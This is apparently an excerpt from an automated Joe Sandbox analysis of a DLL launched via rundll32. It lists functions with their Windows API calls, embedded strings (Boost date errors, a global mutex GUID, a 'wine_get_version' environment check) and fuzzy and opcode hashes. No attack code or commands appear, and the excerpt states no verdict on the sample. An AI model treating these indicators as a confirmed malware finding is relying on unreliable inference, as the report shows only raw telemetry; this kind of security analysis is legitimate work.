String ID: %Y-%m-%dT%H:%M:%S$NGUgNGMgNTMgMzEgMmUgMzA
API String ID: 2902305603-1341811953
Opcode ID: f29c5a4e593acd43bef6f4edfe64a28282b63c8cd4e63881856728f5847b26e3
Instruction ID: 34e1cb395363160578021e5c78b1f24b885afbaf03422f7b0b83ed201d843355
Opcode Fuzzy Hash: f29c5a4e593acd43bef6f4edfe64a28282b63c8cd4e63881856728f5847b26e3
Instruction Fuzzy Hash: 8351E361E0E686A5FB20DB25E4503B96750FF90BD4F444131DEAD83696EF3CE409C728

Function 00007FF8A8D073C4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF8A8D074C7
CloseHandle.KERNEL32 ref: 00007FF8A8D0751E

Strings

.log, xrefs: 00007FF8A8D073FF, 00007FF8A8D07412

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID: .log
API String ID: 3498533004-299349702
Opcode ID: 55d1a9028f26af799bb06fc40ccd591269aa111893101cd608a499a98079780f
Instruction ID: 9b6c0eb4df05f102696e0a0612465498d399c53969b3d6005264a8bb549d6da7
Opcode Fuzzy Hash: 55d1a9028f26af799bb06fc40ccd591269aa111893101cd608a499a98079780f
Instruction Fuzzy Hash: C441E032606B02A6EB10DF31D4942AC23B0FB45BD8F406235DA2E5BB95DF3DE529C318

Function 00007FF8A8D51C54 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

std::_Deallocate.LIBCONCRT ref: 00007FF8A8D51D3E
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D51D5B

Strings

WmiBrightnessControl.cpp, xrefs: 00007FF8A8D51C57

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocatestd::_
String ID: WmiBrightnessControl.cpp
API String ID: 1323251999-137989277
Opcode ID: 5683d2e524f9351041a721a0c04e413ec95e80fa3b52c9a7dfb8d9ba8b9472aa
Instruction ID: 59dab586b458b14b0f2ce7ea2e02025b3aa5b3b124d06b04fa505e2eb1f10eea
Opcode Fuzzy Hash: 5683d2e524f9351041a721a0c04e413ec95e80fa3b52c9a7dfb8d9ba8b9472aa
Instruction Fuzzy Hash: 2331D033B06641A6DE28CE15C404579A361F790BD0F18223BDA6E077D8DF39E849C754

Function 00007FF8A8D1F2C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00007FF8A8D1F3B5
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00007FF8A8D1F3D6

Strings

0, xrefs: 00007FF8A8D1F35E

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: 0
API String ID: 323602529-4108050209
Opcode ID: 2e7e9fc904eb75d695e215548ad9ebea77f15dcf7aa71a62d1169850791a812e
Instruction ID: ff69dbf708054a5cfc6922ceebba59023b696c4f5593840bf1547deca0ee32d1
Opcode Fuzzy Hash: 2e7e9fc904eb75d695e215548ad9ebea77f15dcf7aa71a62d1169850791a812e
Instruction Fuzzy Hash: 2E31AF3261AB40EAD710DF20E4402ED37B4FB48798F500236EA9D43BA4DF38E559C754

Function 00007FF8A8D027FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMONLIBRARYCODE

Download Yara Rule

APIs

std::runtime_error::runtime_error.LIBCPMT ref: 00007FF8A8D028D6
throw_exception.LIBCPMT ref: 00007FF8A8D028DF

Strings

Day of month is not valid for year, xrefs: 00007FF8A8D028BC

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: std::runtime_error::runtime_errorthrow_exception
String ID: Day of month is not valid for year
API String ID: 3828811160-1521898139
Opcode ID: 84d2daf90518049316943645cf0e5bb3eec30a983e3c40179046461e36576ec1
Instruction ID: 8848fb2f8753feeb02ae70f4dbc91e674624bdffaf5675173746985d19518baf
Opcode Fuzzy Hash: 84d2daf90518049316943645cf0e5bb3eec30a983e3c40179046461e36576ec1
Instruction Fuzzy Hash: 7C214636F0A60291FB21CB25D8409792264FF947E0F510236EA7E87BE4CF3CD8459368

Function 00007FF8A8DE5BA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_set_errno_from_matherr.LIBCMT ref: 00007FF8A8DE5C4C
_set_errno_from_matherr.LIBCMT ref: 00007FF8A8DE5C60

Strings

exp, xrefs: 00007FF8A8DE5BC7

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: _set_errno_from_matherr
String ID: exp
API String ID: 1187470696-113136155
Opcode ID: 02aa0f55b1a8874f43537a2706ad28b239fe5dfa3cfbce0507dbe8f83b3ef5ac
Instruction ID: 5007168f7be4468094ca66281c3d0acc186bb2555817500e866a44e314becb3a
Opcode Fuzzy Hash: 02aa0f55b1a8874f43537a2706ad28b239fe5dfa3cfbce0507dbe8f83b3ef5ac
Instruction Fuzzy Hash: 56211D36A1A646DBE760DF28A45126A73B1FB88780F500635F69D83B55EF3CE8448F24

Function 00007FF8A8D06E24 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32 ref: 00007FF8A8D06ECD

Part of subcall function 00007FF8A8D0EA24: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D0EA6E

Strings

Global\, xrefs: 00007FF8A8D06E63, 00007FF8A8D06E72
{C40CFCD4-C757-4139-A4DA-7CB51A8DBF80}, xrefs: 00007FF8A8D06E98, 00007FF8A8D06EA7

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CreateDeallocateMutexstd::_
String ID: Global\${C40CFCD4-C757-4139-A4DA-7CB51A8DBF80}
API String ID: 2784379168-266908802
Opcode ID: 02ab40d601c47c4bd6e5fdae253d9982c0720896644d64d585b2e25be54e70d6
Instruction ID: 58e6c98e87f995ae6924f15ee1e9e06f04915079cbea616824998ea348ebcd7b
Opcode Fuzzy Hash: 02ab40d601c47c4bd6e5fdae253d9982c0720896644d64d585b2e25be54e70d6
Instruction Fuzzy Hash: D421BB3261AA42A0EB20DB25E8411AA7371EB887F4F801332E6BD476E5DF3DD255C714

Function 00007FF8A8D10794 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF8A8D10814

Part of subcall function 00007FF8A8D14824: _CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D1485D

Part of subcall function 00007FF8A8D04D08: WaitForSingleObjectEx.KERNEL32 ref: 00007FF8A8D04D62

Strings

boost unique_lock owns already the mutex, xrefs: 00007FF8A8D107F1
boost unique_lock has no mutex, xrefs: 00007FF8A8D107CD

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CurrentExceptionObjectSingleThreadThrowWait
String ID: boost unique_lock has no mutex$boost unique_lock owns already the mutex
API String ID: 928027368-3352860666
Opcode ID: 994a6202a9c3685202e8c49310c65bffd27d361856865c6016e354541c512811
Instruction ID: cb8fb9279891191ec732c0f045c194d1bc74383aac1ef9c89752aa5d48b309cc
Opcode Fuzzy Hash: 994a6202a9c3685202e8c49310c65bffd27d361856865c6016e354541c512811
Instruction Fuzzy Hash: D721813190A6C2A1EB10EB24D4447A877A1FF44BE8F548235DA6D473C5CF3CE859C7A4

Function 00007FF8A8D02274 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF8A8D022FC
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D02322

Strings

Weekday is out of range 0..6, xrefs: 00007FF8A8D022AC, 00007FF8A8D022BB

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocate__std_exception_copystd::_
String ID: Weekday is out of range 0..6
API String ID: 3694657363-1292618072
Opcode ID: 5712023aab23666bcc4aa939f3a77f028e085d8234eb82f5ada7f38f23bd60ce
Instruction ID: 1fa02ba8802aecf8bf45e5373eb1fce21a9c6f1c91723e8209e3464d4210106f
Opcode Fuzzy Hash: 5712023aab23666bcc4aa939f3a77f028e085d8234eb82f5ada7f38f23bd60ce
Instruction Fuzzy Hash: 00214832B15A01E8FB009BA4E8503AC37B4FB087A8F940135DA6D97AA9DF78D594C324

Function 00007FF8A8D0234C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF8A8D023D4
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D023FA

Strings

Day of year value is out of range 1..366, xrefs: 00007FF8A8D02384, 00007FF8A8D02393

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocate__std_exception_copystd::_
String ID: Day of year value is out of range 1..366
API String ID: 3694657363-4072519960
Opcode ID: ab36d1336ac458bd2dea0bf6fadc49879dfd2f429f3452fa44419b5642cab8d2
Instruction ID: c7d45364c008a7dcdfe7e1a6a81ba19e878dffbcd5c763f871ddfd0fafbceabe
Opcode Fuzzy Hash: ab36d1336ac458bd2dea0bf6fadc49879dfd2f429f3452fa44419b5642cab8d2
Instruction Fuzzy Hash: 33214532B15A01E8FB00DBA4E8903AC37B4FB08798F940535DA6D97AA9DF38D595C324

Function 00007FF8A8D02550 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF8A8D025D8
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D025FE

Strings

Year is out of valid range: 1400..10000, xrefs: 00007FF8A8D02588, 00007FF8A8D02597

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocate__std_exception_copystd::_
String ID: Year is out of valid range: 1400..10000
API String ID: 3694657363-2344417016
Opcode ID: 072e68aaa3e467892ea3da7818a1ab6e2fd58acdb12903a67d2c210c5a44a482
Instruction ID: 1e7d54d055b9494f967a342ade83acc3e8fb7ec2809ec644e70f44daa4357f31
Opcode Fuzzy Hash: 072e68aaa3e467892ea3da7818a1ab6e2fd58acdb12903a67d2c210c5a44a482
Instruction Fuzzy Hash: CE214832B15A01E8FB009BA4E8903AC37B4FB08798F940535DA6D97BA9DF78D595C324

Function 00007FF8A8D02724 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF8A8D027AC
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D027D2

Strings

Month number is out of range 1..12, xrefs: 00007FF8A8D0275C, 00007FF8A8D0276B

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocate__std_exception_copystd::_
String ID: Month number is out of range 1..12
API String ID: 3694657363-4198407886
Opcode ID: 2a1ac6ef3aeba2bd9865e4ebf9b20a26fcd048e8fe28fa3fbc9b1659af5c6910
Instruction ID: 6fdc583e64f45f033f1030b6396b0e9de39c58d71bbbf2b933ce9917ed845462
Opcode Fuzzy Hash: 2a1ac6ef3aeba2bd9865e4ebf9b20a26fcd048e8fe28fa3fbc9b1659af5c6910
Instruction Fuzzy Hash: 0D214A32B15A01E8FB009B64E8503AC37B4FB48798F940135DA6D97AA9DF38D594C324

Function 00007FF8A8D95290 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF8A8D952E5
GetProcAddress.KERNEL32 ref: 00007FF8A8D952FA

Strings

wine_get_version, xrefs: 00007FF8A8D952F0

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: wine_get_version
API String ID: 1646373207-2902792109
Opcode ID: 64f094e310f04052f5700c1f6bd54cdd92774b9cc2459a96bcb2dc19004332e9
Instruction ID: 864d9c6e0f7313f4bf53ce34e79e95e8e8401c290b2df5594d49a643210c102b
Opcode Fuzzy Hash: 64f094e310f04052f5700c1f6bd54cdd92774b9cc2459a96bcb2dc19004332e9
Instruction Fuzzy Hash: AB119E30E0AAC2E6FA52D720B8513B533A0EF9D785F800135D89D42662EF3CE565CB28

Function 00007FF8A8DBC590 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

MoveFileExW.KERNEL32 ref: 00007FF8A8DBC5C2
GetLastError.KERNEL32 ref: 00007FF8A8DBC5CC

Strings

boost::filesystem::rename, xrefs: 00007FF8A8DBC5D6

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: ErrorFileLastMove
String ID: boost::filesystem::rename
API String ID: 55378915-2110873845
Opcode ID: 8dca8874bfb7dd6f7dfd873a9110266fd1d7c776757e538c1c404bb48a2eebbb
Instruction ID: 666ff8fd9bedd6f40849bf0711d38cc05da6dfbaed770cf99e5a5e08a48dc7f1
Opcode Fuzzy Hash: 8dca8874bfb7dd6f7dfd873a9110266fd1d7c776757e538c1c404bb48a2eebbb
Instruction Fuzzy Hash: 80F02231B0DB82D5EB008B12F84802A67A0FB55FC4F204035DE9D93B54DF3CE6A58368

Function 00007FF8A8CFAC80 Relevance: 5.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF8A8CFAC9D
SetLastError.KERNEL32 ref: 00007FF8A8CFACB4
GetLastError.KERNEL32 ref: 00007FF8A8CFACFE
LocalFree.KERNEL32 ref: 00007FF8A8CFAD19

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
